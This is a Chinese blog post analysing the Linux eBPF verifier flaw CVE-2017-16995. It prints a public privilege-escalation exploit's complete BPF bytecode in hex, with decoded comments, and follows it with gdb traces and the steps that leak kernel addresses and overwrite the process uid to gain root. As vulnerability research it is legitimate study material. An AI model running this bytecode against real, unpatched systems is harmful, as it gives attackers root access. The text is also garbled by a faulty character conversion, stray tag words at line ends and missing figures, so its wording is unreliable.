2018年3月中旬,Twitter 用戶 @Vitaly Nikolenko 發佈消息,稱 ubuntu 最新版本(Ubuntu 16.04)存在高危的本地提權漏洞,並且推文中還附上了 EXP 下載地址。linux
因爲該漏洞成功在aws Ubuntu鏡像上覆現,被認爲是0DAY,引發了安全圈同窗們的普遍關注。大致瀏覽了 一下exp代碼,發現利用姿式很優雅,沒有ROP,沒有堆,沒有棧,比較感興趣,不過等了幾天也沒發現有詳細的漏洞分析,正好遇上週末,便本身跟了一下:)git
通過一番瞭解發現這個漏洞並非什麼0DAY,最先是去年12月21號Google Project Zero團隊的Jann Horn發現並報告的,編號爲CVE-2017-16995,做者在報告該漏洞的時候附了一個DOS的POC。另外,最先公開發布可成功提權exploit也不是Vitaly Nikolenko,而是Bruce Leidl,其在12月21號就把完整的提權exploit公佈到了github上,地址:https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c。github
eBPF簡介ubuntu
衆所周知,linux的用戶層和內核層是隔離的,想讓內核執行用戶的代碼,正常是須要編寫內核模塊,固然內核模塊只能root用戶才能加載。而BPF則至關因而內核給用戶開的一個綠色通道:BPF(Berkeley Packet Filter)提供了一個用戶和內核之間代碼和數據傳輸的橋樑。用戶能夠用eBPF指令字節碼的形式向內核輸送代碼,並經過事件(如往socket寫數據)來觸發內核執行用戶提供的代碼;同時以map(key,value)的形式來和內核共享數據,用戶層向map中寫數據,內核層從map中取數據,反之亦然。BPF設計初衷是用來在底層對網絡進行過濾,後續因爲他能夠方便的向內核注入代碼,而且還提供了一套完整的安全措施來對內核進行保護,被普遍用於抓包、內核probe、性能監控等領域。BPF發展經歷了2個階段,cBPF(classic BPF)和eBPF(extend BPF),cBPF已退出歷史舞臺,後文提到的BPF默認爲eBPF。數組
eBPF虛擬指令系統安全
eBPF虛擬指令系統屬於RISC,擁有10個虛擬寄存器,r0-r10,在實際運行時,虛擬機會把這10個寄存器一一對應於硬件CPU的10個物理寄存器,以x64爲例,對應關係以下:bash
R0 – rax
R1 - rdi
R2 - rsi
R3 - rdx
R4 - rcx
R5 - r8
R6 - rbx
R7 - r13
R8 - r14
R9 - r15
R10 – rbp(幀指針,frame pointer)
每一條指令的格式以下:
struct bpf_insn { __u8 code; /* opcode */ __u8 dst_reg:4; /* dest register */ __u8 src_reg:4; /* source register */ __s16 off; /* signed offset */ __s32 imm; /* signed immediate constant */ };
如一條簡單的x86賦值指令:mov eax,0xffffffff,對應的BPF指令爲:BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF),其對應的數據結構爲:
#define BPF_MOV32_IMM(DST, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_MOV | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM })
其在內存中的值爲:\xb4\x09\x00\x00\xff\xff\xff\xff。
關於BPF指令系統此處就再也不贅述,只要明確如下兩點便可:1.其爲RISC指令系統,也就是說每條指令大小都是同樣的;2.其虛擬的10個寄存器一一對應於物理cpu的寄存器,且功能相似,好比BPF的r10寄存器和rbp同樣指向棧,r0用於返回值。
BPF的加載過程網絡
一個典型的BPF程序流程爲:
1. 用戶程序調用syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))申請建立一個map,在attr結構體中指定map的類型、大小、最大容量等屬性。
2. 用戶程序調用syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr))來將咱們寫的BPF代碼加載進內核,attr結構體中包含了指令數量、指令首地址指針、日誌級別等屬性。在加載以前會利用虛擬執行的方式來作安全性校驗,這個校驗包括對指定語法的檢查、指令數量的檢查、指令中的指針和當即數的範圍及讀寫權限檢查,禁止將內核中的地址暴露給用戶空間,禁止對BPF程序stack以外的內核地址讀寫。安全校驗經過後,程序被成功加載至內核,後續真正執行時,再也不重複作檢查。
3. 用戶程序經過調用setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)將咱們寫的BPF程序綁定到指定的socket上。Progfd爲上一步驟的返回值。
4. 用戶程序經過操做上一步驟中的socket來觸發BPF真正執行。
BPF的安全校驗數據結構
Bpf指令的校驗是在函數do_check中,代碼路徑爲kernel/bpf/verifier.c。do_check經過一個無限循環來遍歷咱們提供的bpf指令,
理論上虛擬執行和真實執行的執行路徑應該是徹底一致的。若是步驟2安全校驗過程當中的虛擬執行路徑和步驟4 bpf的真實執行路徑不徹底一致的話,會怎麼樣呢?看下面的例子:
1.BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 = (u32)0xFFFFFFFF */
2.BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */
3.BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */
4.BPF_EXIT_INSN()
5.……
第一條指令是個簡單的賦值語句,把0xFFFFFFFF這個值賦值給r9.
第二條指令是個條件跳轉指令,若是r9等於0xFFFFFFFF,則退出程序,終止執行;若是r9不等於0xFFFFFFFF,則跳事後面2條執行繼續執行第5條指令。
虛擬執行的時候,do_check檢測到第2條指令等式恆成立,因此認爲BPF_JNE的跳轉永遠不會發生,第4條指令以後的指令永遠不會執行,因此檢測結束,do_check返回成功。
真實執行的時候,因爲一個符號擴展的bug,致使第2條指令中的等式不成立,因而cpu就跳轉到第5條指令繼續執行,這裏是漏洞產生的根因,這4條指令,能夠繞過BPF的代碼安全檢查。既然安全檢查被繞過了,用戶就能夠隨意往內核中注入代碼了,提權就水到渠成了:先獲取到task_struct的地址,而後定位到cred的地址,而後定位到uid的地址,而後直接將uid的值改成0,而後啓動/bin/bash。
下面結合真實的exp來動態分析一下漏洞的執行過程。
Vitaly Nikolenko公佈的這個exp,關鍵代碼就是以下這個prog數組:
這個數組就是BPF的指令數據,想要搞清楚exp的機理,首先要把這堆16進制數據翻譯成BPF指令,翻譯結果以下:
bytes="\xb4\x09\x00\x00\xff\xff\xff\xff"\ #BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 = (u32)0xFFFFFFFF */ "\x55\x09\x02\x00\xff\xff\xff\xff"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */ "\xb7\x00\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN() "\x18\x19\x00\x00\x03\x00\x00\x00"\ # BPF_LD_MAP_FD(BPF_REG_9, mapfd), /* r9=mapfd */ "\x00\x00\x00\x00\x00\x00\x00\x00"\ #BPF_MAP_GET(0, BPF_REG_6) r6=op,取map的第1個元素放到r6 "\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ "\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ "\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ "\x62\x0a\xfc\xff\x00\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=0), /* *(u32 *)(fp - 4) = idx */ "\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), "\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */ "\x79\x06\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r6), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */ #BPF_MAP_GET(1, BPF_REG_7) r7=address,取map的第2個元素放到r7 "\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ "\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ "\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ "\x62\x0a\xfc\xff\x01\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=1), /* *(u32 *)(fp - 4) = idx */ "\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), "\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */ "\x79\x07\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r7), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */ #BPF_MAP_GET(2, BPF_REG_8) r8=value,取map的第3個元素放到r8 "\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ "\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ "\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ "\x62\x0a\xfc\xff\x02\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=1), /* *(u32 *)(fp - 4) = idx */ "\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), "\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */ "\x79\x08\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r8), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */ "\xbf\x02\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */ "\xb7\x00\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */ "\x55\x06\x03\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 3), /* if (op == 0) */ "\x79\x73\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0), "\x7b\x32\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), "\x55\x06\x02\x00\x01\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), "\x7b\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */ "\x7b\x87\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
在do_check上打個斷點,編譯運行,成功斷了下來,先看一下調用棧:
(gdb) bt #0 do_check (env=0xffff880078190000) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/verifier.c:1724 #1 0xffffffff8117c057 in bpf_check (prog=0xffff880034003e10, attr=<optimized out>) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/verifier.c:2240 #2 0xffffffff81178631 in bpf_prog_load (attr=0xffff880034003ee0) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:679 #3 0xffffffff81178d3a in SYSC_bpf (size=48, uattr=<optimized out>, cmd=<optimized out>) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:783 #4 SyS_bpf (cmd=5, uattr=140722476394128, size=48) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:725 #5 0xffffffff8184efc8 in entry_SYSCALL_64 () at /build/linux-fQ94TU/linux-4.4.0/arch/x86/entry/entry_64.S:193 #6 0x0000000000000001 in irq_stack_union () #7 0x0000000000000000 in ?? () (gdb)
首先看第一條賦值語句BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF),do_check中最終的賦值語句以下:
其中dst_reg爲虛擬執行過程當中的寄存器結構體,結構體定義以下:
能夠看到該結構體有2個字段,第一個爲type,表明寄存器數據的類型,此處爲CONST_IMM,CONST_IMM的值爲8.另一個爲常量當即數的具體數值,能夠看到類型爲int有符號整形。
咱們在此處下斷點,能夠看到具體的賦值過程,以下:
(gdb) x/10 $rip-4 0xffffffff8117b0ac <do_check+5548>: mov DWORD PTR [rsi+rax*1+0x8],edx => 0xffffffff8117b0b0 <do_check+5552>: jmp 0xffffffff8117a38c <do_check+2188> 0xffffffff8117b0b5 <do_check+5557>: mov rdi,QWORD PTR [rsp+0x38] 0xffffffff8117b0ba <do_check+5562>: mov rdx,rax 0xffffffff8117b0bd <do_check+5565>: movzx esi,al 0xffffffff8117b0c0 <do_check+5568>: and edx,0x18 0xffffffff8117b0c3 <do_check+5571>: mov rdx,QWORD PTR [rdx-0x7e5db140] 0xffffffff8117b0ca <do_check+5578>: movzx ecx,BYTE PTR [rdi+0x1] 0xffffffff8117b0ce <do_check+5582>: movsx r8d,WORD PTR [rdi+0x2] 0xffffffff8117b0d3 <do_check+5587>: mov r9d,DWORD PTR [rdi+0x4] (gdb) i r $edx edx 0xffffffff -1 (gdb) x/10x $rsi+$rax 0xffff8800781930a8: 0x00000008 0x00000000 0xffffffff 0x00000000 0xffff8800781930b8: 0x00000006 0x00000000 0x00000000 0x00000000 0xffff8800781930c8: 0x00000000 0x00000000 (gdb)
$rsi+$rax處即爲reg_state結構體,能夠看到第一個字段爲8,第二個字段爲0Xffffffff。
而後咱們跟進第二條指令中的比較語句BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2),do_check檢測到跳轉類指令時,根據跳轉類型進入不通的檢測分支,此處是JNE跳轉,進入check_cond_jmp_op分支,以下圖:
Do_check在校驗條件類跳轉指令的時候,會判斷條件是否成立,若是是非肯定性跳轉的話,就說明接下來2個分支都有可能執行(分支A和分支B),這時do_check會把下一步須要跳轉到的指令編號(分支B)放到一個臨時棧中備用,這樣當前指令順序校驗(分支A)過程當中遇到EXIT指令時,會從臨時棧中取出以前保存的下一條指令的序號(分支B)繼續校驗。若是跳轉指令恆成立的話,就不會再往臨時棧中放入分支B,由於分支B永遠不會執行,以下圖:
第一個紅框即爲虛擬寄存器中的imm與指令中提供的imm進行比較,這兩個類型以下:socket
能夠看到等號兩側的數據類型徹底一致,都爲有符號整數,因此此處條件跳轉條件恆成立,不會往臨時棧中push分支B指令編號。
接下來看BPF_EXIT_INSN(),剛纔提到在校驗EXIT指令時,會從臨時棧中嘗試取指令(調用pop_stack函數),若是臨時棧中有指令,那就說明還有其餘可能執行到的分支,須要繼續校驗,若是取不到值,表示當前這條EXIT指令確實是BPF程序最後一條能夠執行到的指令,此時pop_stack會返回-1,而後break跳出do_check校驗循環,do_check執行結束,校驗經過,以下圖:
跟進pop_stack,以下圖:
實際執行過程以下:
(gdb) x/10i $rip => 0xffffffff81178f29 <pop_stack+9>: test r8,r8 //此處判斷env->head是否爲NULL 0xffffffff81178f2c <pop_stack+12>: je 0xffffffff81178fb4 <pop_stack+148> //爲NULL時,跳轉到0xffffffff81178fb4 0xffffffff81178f32 <pop_stack+18>: push rbp 0xffffffff81178f33 <pop_stack+19>: mov rax,rsi 0xffffffff81178f36 <pop_stack+22>: lea rcx,[rdi+0x18] 0xffffffff81178f3a <pop_stack+26>: mov rdx,rdi 0xffffffff81178f3d <pop_stack+29>: lea rdi,[rdi+0x20] 0xffffffff81178f41 <pop_stack+33>: mov rbp,rsp 0xffffffff81178f44 <pop_stack+36>: push r13 0xffffffff81178f46 <pop_stack+38>: push r12 (gdb) i r $r8 r8 0x0 0 (gdb) x/10i 0xffffffff81178fb4 0xffffffff81178fb4 <pop_stack+148>: mov eax,0xffffffff //pop_stack返回-1 0xffffffff81178fb9 <pop_stack+153>: ret //pop_stack返回-1 0xffffffff81178fba: nop WORD PTR [rax+rax*1+0x0] 0xffffffff81178fc0 <verbose>: nop DWORD PTR [rax+rax*1+0x0] 0xffffffff81178fc5 <verbose+5>: push rbp 0xffffffff81178fc6 <verbose+6>: mov rbp,rsp 0xffffffff81178fc9 <verbose+9>: sub rsp,0x50 0xffffffff81178fcd <verbose+13>: mov rax,QWORD PTR gs:0x28 0xffffffff81178fd6 <verbose+22>: mov QWORD PTR [rsp+0x18],rax 0xffffffff81178fdb <verbose+27>: xor eax,eax (gdb)
到此爲止咱們瞭解了BPF的校驗過程,這個exp一共有41條指令,BPF只校驗了4條指令,而後返回校驗成功。
接下來咱們繼續跟進BPF指令的執行過程,對應的代碼以下(路徑爲kernel/bpf/core.c):
其中DST爲目標寄存器,IMM爲當即數,咱們跟進DST的定義:
跟進IMM的定義:
很明顯,等號兩邊的數據類型是不一致的,因此致使這裏的條件跳轉語句的結果徹底相反,如下爲實際執行過程:
(gdb) x/10i $rip => 0xffffffff8117731f <__bpf_prog_run+2191>: cmp QWORD PTR [rbp+rax*8-0x270],rdx 0xffffffff81177327 <__bpf_prog_run+2199>: je 0xffffffff81177d8a <__bpf_prog_run+4858> 0xffffffff8117732d <__bpf_prog_run+2205>: movsx rax,WORD PTR [rbx+0x2] 0xffffffff81177332 <__bpf_prog_run+2210>: lea rbx,[rbx+rax*8+0x8] 0xffffffff81177337 <__bpf_prog_run+2215>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80> 0xffffffff8117733c <__bpf_prog_run+2220>: movzx eax,BYTE PTR [rbx+0x1] 0xffffffff81177340 <__bpf_prog_run+2224>: mov edx,eax 0xffffffff81177342 <__bpf_prog_run+2226>: shr dl,0x4 0xffffffff81177345 <__bpf_prog_run+2229>: and edx,0xf 0xffffffff81177348 <__bpf_prog_run+2232>: cmp QWORD PTR [rbp+rdx*8-0x270],0x0 (gdb) i r $rdx rdx 0xffffffffffffffff -1 (gdb) x/10x (rbp+rax*8-0x270) No symbol "rbp" in current context. (gdb) x/10x ($rbp+$rax*8-0x270) 0xffff880076143a78: 0xffffffff 0x00000000 0x76143c88 0xffff8800 0xffff880076143a88: 0x00000001 0x00000000 0x00000001 0x01000000 0xffff880076143a98: 0x746ee000 0xffff8800 (gdb)
等號兩邊的值徹底不同,這裏的跳轉條件成立,會日後跳2條指令繼續執行,和虛擬執行的過程相反。
接下來就是分析exp裏面的BPF指令了,經過自定義BPF指令,咱們能夠繞過安全校驗實現任意內核指針泄露,任意內核地址讀寫。
構造一下攻擊路徑:
1.申請一個MAP,長度爲3;
2.這個MAP的第一個元素爲操做指令,第2個元素爲須要讀寫的內存地址,第3個元素用來存放讀取到的內容。此時這個MAP至關於一個CC,3個元素組成一個控制指令。
3.組裝一個指令,讀取內核的棧地址。根據內核棧地址獲取到current的地址。
4.讀current結構體的第一個成員,或得task_struct的地址,繼而加上cred的偏移獲得cred地址,最終獲取到uid的地址。
5.組裝一個寫指令,向上一步獲取到的uid地址寫入0.
6.啓動新的bash進程,該進程的uid爲0,提權成功。
Exp中就是按照如上的攻擊路徑來提權的,申請完map以後,首先發送獲取內核棧地址的指令,以下:
bpf_update_elem(0, 0);
bpf_update_elem(1, 0);
bpf_update_elem(2, 0);
而後經過調用writemsg觸發BPF程序運行,BPF會進入以下分支:
"\x18\x19\x00\x00\x03\x00\x00\x00"\ # BPF_LD_MAP_FD(BPF_REG_9, mapfd), /* r9=mapfd */ #BPF_MAP_GET(0, BPF_REG_6) r6=op "\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ "\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ "\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ "\x62\x0a\xfc\xff\x00\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=0), /* *(u32 *)(fp - 4) = idx */ "\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), "\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */ "\x79\x06\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r6), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
以前提到過,BPF的r10寄存器至關於x86_64的rbp,是指向內核棧的,因此這裏第一行指令將map的標識放到r9,第二條指令將r9放到r1,做爲後續調用BPF_FUNC_map_lookup_elem函數的第一個參數,第三條指令將內核棧指針賦值給r2,第四條指令在棧上開闢4個字節的空間,第五條指令將map元素的序號放到r2,第六條指令取map中第r2個元素的值並把返回值存入r0,第七條指令判斷BPF_FUNC_map_lookup_elem有沒有執行成功,r0=0則未成功。成功後執行第9條指令,將取到的值放到r6中。繼續依次往下執行,直到執行到下面的路徑:
"\x55\x06\x03\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 3), /* if (op == 0) */ "\x79\x73\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0), "\x7b\x32\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), "\x55\x06\x02\x00\x01\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), "\x7b\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), "\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
判斷r6是否爲0,爲0說明是取棧地址的指令,這時會往下跳3條指令,繼續執行第7條指令,將r10的內容寫入r2,因爲在執行第30條指令時r0指向map中的第二個元素,因此這時r2也指向這個元素,而後用戶層經過get_value(2)取到了內核棧的地址,咱們經過給BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0)下斷點,能夠看到過程以下:
(gdb) x/20i 0xffffffff8117788b 0xffffffff8117788b <__bpf_prog_run+3579>: movzx eax,BYTE PTR [rbx+0x1] 0xffffffff8117788f <__bpf_prog_run+3583>: movsx rdx,WORD PTR [rbx+0x2] 0xffffffff81177894 <__bpf_prog_run+3588>: add rbx,0x8 0xffffffff81177898 <__bpf_prog_run+3592>: mov rcx,rax 0xffffffff8117789b <__bpf_prog_run+3595>: shr al,0x4 0xffffffff8117789e <__bpf_prog_run+3598>: and ecx,0xf 0xffffffff811778a1 <__bpf_prog_run+3601>: and eax,0xf 0xffffffff811778a4 <__bpf_prog_run+3604>: mov rcx,QWORD PTR [rbp+rcx*8-0x270] 0xffffffff811778ac <__bpf_prog_run+3612>: mov rax,QWORD PTR [rbp+rax*8-0x270] 0xffffffff811778b4 <__bpf_prog_run+3620>: mov QWORD PTR [rcx+rdx*1],rax => 0xffffffff811778b8 <__bpf_prog_run+3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80> 0xffffffff811778bd <__bpf_prog_run+3629>: movzx eax,BYTE PTR [rbx+0x1] 0xffffffff811778c1 <__bpf_prog_run+3633>: movsx rdx,WORD PTR [rbx+0x2] 0xffffffff811778c6 <__bpf_prog_run+3638>: add rbx,0x8 0xffffffff811778ca <__bpf_prog_run+3642>: movsxd rcx,DWORD PTR [rbx-0x4] 0xffffffff811778ce <__bpf_prog_run+3646>: and eax,0xf 0xffffffff811778d1 <__bpf_prog_run+3649>: mov rax,QWORD PTR [rbp+rax*8-0x270] 0xffffffff811778d9 <__bpf_prog_run+3657>: mov QWORD PTR [rax+rdx*1],rcx 0xffffffff811778dd <__bpf_prog_run+3661>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80> 0xffffffff811778e2 <__bpf_prog_run+3666>: lfence (gdb) i r $rax rax 0xffff8800758c3c88 -131939423208312 (gdb)
其中rax的值0xffff8800758c3c88即爲泄露的內核棧地址(其實應該稱爲幀指針更準確)。
而後經過經典的addr & ~(0x4000 - 1)獲取到current結構體的起始地址0xffff8800758c0000,而後構造讀數據的map指令去讀current中偏移爲0的指針值(即爲指向task_struct的指針):
bpf_update_elem(0, 0);
bpf_update_elem(1, 0xffff8800758c0000);
bpf_update_elem(2, 0);
其中addr爲當前線程current的值0xffff8800758c0000,這樣能夠獲得task_struct的地址,
過程以下:
(gdb) x/10i $rip-20 0xffffffff811778a4 <__bpf_prog_run+3604>: mov rcx,QWORD PTR [rbp+rcx*8-0x270] 0xffffffff811778ac <__bpf_prog_run+3612>: mov rax,QWORD PTR [rbp+rax*8-0x270] 0xffffffff811778b4 <__bpf_prog_run+3620>: mov QWORD PTR [rcx+rdx*1],rax => 0xffffffff811778b8 <__bpf_prog_run+3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80> 0xffffffff811778bd <__bpf_prog_run+3629>: movzx eax,BYTE PTR [rbx+0x1] 0xffffffff811778c1 <__bpf_prog_run+3633>: movsx rdx,WORD PTR [rbx+0x2] 0xffffffff811778c6 <__bpf_prog_run+3638>: add rbx,0x8 0xffffffff811778ca <__bpf_prog_run+3642>: movsxd rcx,DWORD PTR [rbx-0x4] 0xffffffff811778ce <__bpf_prog_run+3646>: and eax,0xf 0xffffffff811778d1 <__bpf_prog_run+3649>: mov rax,QWORD PTR [rbp+rax*8-0x270] (gdb) i r $rax rax 0xffff880074343c00 -131939445752832 (gdb) x/10x 0xffff8800758c0000 0xffff8800758c0000: 0x74343c00 0xffff8800 0x00000008 0x00000000 0xffff8800758c0010: 0x00000001 0x00000000 0xfffff000 0x00007fff 0xffff8800758c0020: 0x00000000 0x00000000 (gdb)
其中rax的值即爲指向task_struct的指針,能夠看到和current結構體的第一個成員的值是一致的,都是0xffff880074343c00。
獲得task_struct地址以後,加上cred的偏移CRED_OFFSET=0x5f8(因爲內核版本不通或者內核的編譯選項不一樣,均可能致使cred在task_struct中的偏移不一樣),組裝讀取指令取讀取指向cred結構體的指針地址:
bpf_update_elem(0, 2);
bpf_update_elem(1, 0xffff880074343c00+0x5f8);
bpf_update_elem(2, 0);
過程以下:
(gdb) x/10i $rip => 0xffffffff811778b8 <__bpf_prog_run+3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80> 0xffffffff811778bd <__bpf_prog_run+3629>: movzx eax,BYTE PTR [rbx+0x1] 0xffffffff811778c1 <__bpf_prog_run+3633>: movsx rdx,WORD PTR [rbx+0x2] 0xffffffff811778c6 <__bpf_prog_run+3638>: add rbx,0x8 0xffffffff811778ca <__bpf_prog_run+3642>: movsxd rcx,DWORD PTR [rbx-0x4] 0xffffffff811778ce <__bpf_prog_run+3646>: and eax,0xf 0xffffffff811778d1 <__bpf_prog_run+3649>: mov rax,QWORD PTR [rbp+rax*8-0x270] 0xffffffff811778d9 <__bpf_prog_run+3657>: mov QWORD PTR [rax+rdx*1],rcx 0xffffffff811778dd <__bpf_prog_run+3661>: jmp 0xffffffff81176ae0 <__bpf_prog_run+80> 0xffffffff811778e2 <__bpf_prog_run+3666>: lfence (gdb) i r $rax rax 0xffff880074cb5e00 -131939435848192 (gdb) p (struct task_struct *)0xffff880074343c00 $15 = (struct task_struct *) 0xffff880074343c00 (gdb) p ((struct task_struct *)0xffff880074343c00)->cred $16 = (const struct cred *) 0xffff880074cb5e00 (gdb) p &((struct task_struct *)0xffff880074343c00)->cred $17 = (const struct cred **) 0xffff8800743441f8 (gdb) x/10x 0xffff880074343c00+0x5f8 0xffff8800743441f8: 0x74cb5e00 0xffff8800 0x00707865 0x65742d00 0xffff880074344208: 0x6e696d72 0x002d6c61 0x00000000 0x00000000 0xffff880074344218: 0x00000000 0x00000000 (gdb)
上圖中rax的值0xffff880074cb5e00即爲從task_struct中讀取到的指向cred的指針。
cred的地址獲得了,再加上uid在cred中的偏移(固定爲4)便獲得了uid的地址0xffff880074cb5e04,而後構造寫數據的map指令:
bpf_update_elem(0, 2);
bpf_update_elem(1, 0xffff880074cb5e04);
bpf_update_elem(2, 0);
過程以下(因爲第一次運行exp的時候,這裏沒斷下來,因此下面的過程是第二次運行的過程,中間一些結構體的地址發生了稍微的變化):
